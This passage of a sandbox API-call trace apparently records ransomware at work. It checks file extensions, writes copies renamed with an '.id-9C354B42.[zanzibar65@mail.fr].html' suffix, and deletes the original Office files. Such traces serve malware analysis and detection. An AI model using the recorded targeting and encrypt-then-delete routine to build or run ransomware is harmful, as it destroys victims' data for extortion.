lpString2="DLL") returned -1 [0274.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.771] lstrlenW (lpString=".dbf") returned 4 [0274.771] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.771] lstrlenW (lpString=".1cd") returned 4 [0274.771] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.771] lstrlenW (lpString=".jpg") returned 4 [0274.771] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.771] lstrlenW (lpString=".doc") returned 4 [0274.772] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.772] lstrlenW (lpString=".docx") returned 5 [0274.772] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0274.772] lstrlenW (lpString=".pdf") returned 4 [0274.772] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.772] lstrlenW (lpString=".xls") returned 4 [0274.772] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.772] lstrlenW (lpString=".xlsx") returned 5 [0274.772] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0274.772] lstrlenW (lpString=".ppt") returned 4 [0274.772] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.772] lstrlenW (lpString=".zip") returned 4 [0274.772] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.772] lstrlenW (lpString=".rar") returned 4 [0274.772] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.772] lstrlenW (lpString=".bz2") returned 4 [0274.772] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.772] lstrlenW (lpString=".7z") returned 3 [0274.772] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.772] lstrlenW (lpString=".dbf") returned 4 [0274.772] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.772] lstrlenW (lpString=".1cd") returned 4 [0274.772] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.772] lstrlenW (lpString=".jpg") returned 4 [0274.772] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.772] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.773] lstrlenW (lpString="LINES.DLL") returned 9 [0274.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0274.778] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=15256) returned 1 [0274.778] CloseHandle (hObject=0x380) returned 1 [0274.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0274.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.778] lstrlenW (lpString=".doc") returned 4 [0274.778] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.778] lstrlenW (lpString=".docx") returned 5 [0274.778] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0274.778] lstrlenW (lpString=".pdf") returned 4 [0274.778] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.778] lstrlenW (lpString=".xls") returned 4 [0274.778] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.778] lstrlenW (lpString=".xlsx") returned 5 [0274.778] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0274.778] lstrlenW (lpString=".ppt") returned 4 [0274.778] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.778] lstrlenW (lpString=".zip") returned 4 [0274.778] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.778] lstrlenW (lpString=".rar") returned 4 [0274.778] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString=".bz2") returned 4 [0274.779] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.779] lstrlenW (lpString=".7z") returned 3 [0274.779] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.779] lstrlenW (lpString=".dbf") returned 4 [0274.779] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.779] lstrlenW (lpString=".1cd") returned 4 [0274.779] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.779] lstrlenW (lpString=".jpg") returned 4 [0274.779] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.779] lstrlenW (lpString=".doc") returned 4 [0274.779] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString=".docx") returned 5 [0274.779] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0274.779] lstrlenW (lpString=".pdf") returned 4 [0274.779] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString=".xls") returned 4 [0274.779] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString=".xlsx") returned 5 [0274.779] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0274.779] lstrlenW (lpString=".ppt") returned 4 [0274.779] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.779] lstrlenW (lpString=".zip") returned 4 [0274.779] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString=".rar") returned 4 [0274.779] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.779] lstrlenW (lpString=".bz2") returned 4 [0274.780] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.780] lstrlenW (lpString=".7z") returned 3 [0274.780] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.780] lstrlenW (lpString=".dbf") returned 4 [0274.780] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.780] lstrlenW (lpString=".1cd") returned 4 [0274.780] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0274.780] lstrlenW (lpString=".jpg") returned 4 [0274.780] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.780] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.780] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0274.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.784] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=15776) returned 1 [0274.784] CloseHandle (hObject=0x354) returned 1 [0274.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0274.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.784] lstrlenW (lpString=".doc") returned 4 [0274.784] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.784] lstrlenW (lpString=".docx") returned 5 [0274.784] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0274.784] lstrlenW (lpString=".pdf") returned 4 [0274.784] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.784] lstrlenW (lpString=".xls") returned 4 [0274.785] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString=".xlsx") returned 5 [0274.785] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0274.785] lstrlenW (lpString=".ppt") returned 4 [0274.785] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.785] lstrlenW (lpString=".zip") returned 4 [0274.785] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString=".rar") returned 4 [0274.785] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString=".bz2") returned 4 [0274.785] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.785] lstrlenW (lpString=".7z") returned 3 [0274.785] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.785] lstrlenW (lpString=".dbf") returned 4 [0274.785] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.785] lstrlenW (lpString=".1cd") returned 4 [0274.785] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.785] lstrlenW (lpString=".jpg") returned 4 [0274.785] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.785] lstrlenW (lpString=".doc") returned 4 [0274.785] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString=".docx") returned 5 [0274.785] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0274.785] lstrlenW (lpString=".pdf") returned 4 [0274.785] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.785] lstrlenW (lpString=".xls") returned 4 [0274.786] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.786] lstrlenW (lpString=".xlsx") returned 5 [0274.786] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0274.786] lstrlenW (lpString=".ppt") returned 4 [0274.786] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.786] lstrlenW (lpString=".zip") returned 4 [0274.786] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.786] lstrlenW (lpString=".rar") returned 4 [0274.786] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.786] lstrlenW (lpString=".bz2") returned 4 [0274.786] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.786] lstrlenW (lpString=".7z") returned 3 [0274.786] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.786] lstrlenW (lpString=".dbf") returned 4 [0274.786] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.786] lstrlenW (lpString=".1cd") returned 4 [0274.786] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0274.786] lstrlenW (lpString=".jpg") returned 4 [0274.786] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.786] lstrcmpiW (lpString1=".MMW", lpString2=".html") returned 1 [0274.786] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0274.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.787] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=492624) returned 1 [0274.787] CloseHandle (hObject=0x354) returned 1 [0274.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0274.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.787] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.787] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.788] GetLastError () returned 0x0 [0274.788] ReadFile (in: hFile=0x354, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x78450, lpOverlapped=0x0) returned 1 [0274.897] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x78460, lpOverlapped=0x0) returned 1 [0274.905] ReadFile (in: hFile=0x354, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.905] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.906] SetEndOfFile (hFile=0x38c) returned 1 [0274.906] CloseHandle (hObject=0x38c) returned 1 [0274.906] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.906] SetEndOfFile (hFile=0x354) returned 1 [0274.922] CloseHandle (hObject=0x354) returned 1 [0274.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0274.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.922] lstrlenW (lpString=".doc") returned 4 [0274.922] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0274.922] lstrlenW (lpString=".docx") returned 5 [0274.922] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0274.922] lstrlenW (lpString=".pdf") returned 4 [0274.922] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0274.922] lstrlenW (lpString=".xls") returned 4 [0274.922] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0274.922] lstrlenW (lpString=".xlsx") returned 5 [0274.922] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0274.922] lstrlenW (lpString=".ppt") returned 4 [0274.922] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0274.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.923] lstrlenW (lpString=".zip") returned 4 [0274.923] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0274.923] lstrlenW (lpString=".rar") returned 4 [0274.923] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0274.923] lstrlenW (lpString=".bz2") returned 4 [0274.923] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0274.923] lstrlenW (lpString=".7z") returned 3 [0274.923] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0274.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.923] lstrlenW (lpString=".dbf") returned 4 [0274.923] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0274.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.923] lstrlenW (lpString=".1cd") returned 4 [0274.923] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0274.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.923] lstrlenW (lpString=".jpg") returned 4 [0274.923] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0274.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.923] lstrlenW (lpString=".doc") returned 4 [0274.923] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0274.923] lstrlenW (lpString=".docx") returned 5 [0274.923] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0274.923] lstrlenW (lpString=".pdf") returned 4 [0274.923] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0274.923] lstrlenW (lpString=".xls") returned 4 [0274.923] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0274.923] lstrlenW (lpString=".xlsx") returned 5 [0274.923] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0274.923] lstrlenW (lpString=".ppt") returned 4 [0274.923] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0274.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.924] lstrlenW (lpString=".zip") returned 4 [0274.924] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0274.924] lstrlenW (lpString=".rar") returned 4 [0274.924] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0274.924] lstrlenW (lpString=".bz2") returned 4 [0274.924] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0274.924] lstrlenW (lpString=".7z") returned 3 [0274.924] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0274.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.924] lstrlenW (lpString=".dbf") returned 4 [0274.924] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0274.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.924] lstrlenW (lpString=".1cd") returned 4 [0274.924] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0274.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0274.924] lstrlenW (lpString=".jpg") returned 4 [0274.924] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0274.924] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.924] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0274.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.962] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=158600) returned 1 [0274.962] CloseHandle (hObject=0x354) returned 1 [0274.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0274.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.963] lstrlenW (lpString=".doc") returned 4 [0274.963] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.963] lstrlenW (lpString=".docx") returned 5 [0274.963] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0274.963] lstrlenW (lpString=".pdf") returned 4 [0274.963] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.963] lstrlenW (lpString=".xls") returned 4 [0274.963] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.963] lstrlenW (lpString=".xlsx") returned 5 [0274.963] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0274.963] lstrlenW (lpString=".ppt") returned 4 [0274.963] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.963] lstrlenW (lpString=".zip") returned 4 [0274.963] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.963] lstrlenW (lpString=".rar") returned 4 [0274.963] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.963] lstrlenW (lpString=".bz2") returned 4 [0274.963] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.963] lstrlenW (lpString=".7z") returned 3 [0274.963] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.963] lstrlenW 